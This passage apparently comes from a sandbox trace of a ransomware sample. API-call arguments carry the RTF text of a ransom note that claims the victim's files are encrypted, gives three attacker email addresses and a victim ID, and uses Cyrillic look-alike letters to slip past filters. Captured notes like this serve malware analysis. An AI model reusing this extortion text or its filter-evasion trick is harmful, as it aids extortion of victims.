Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 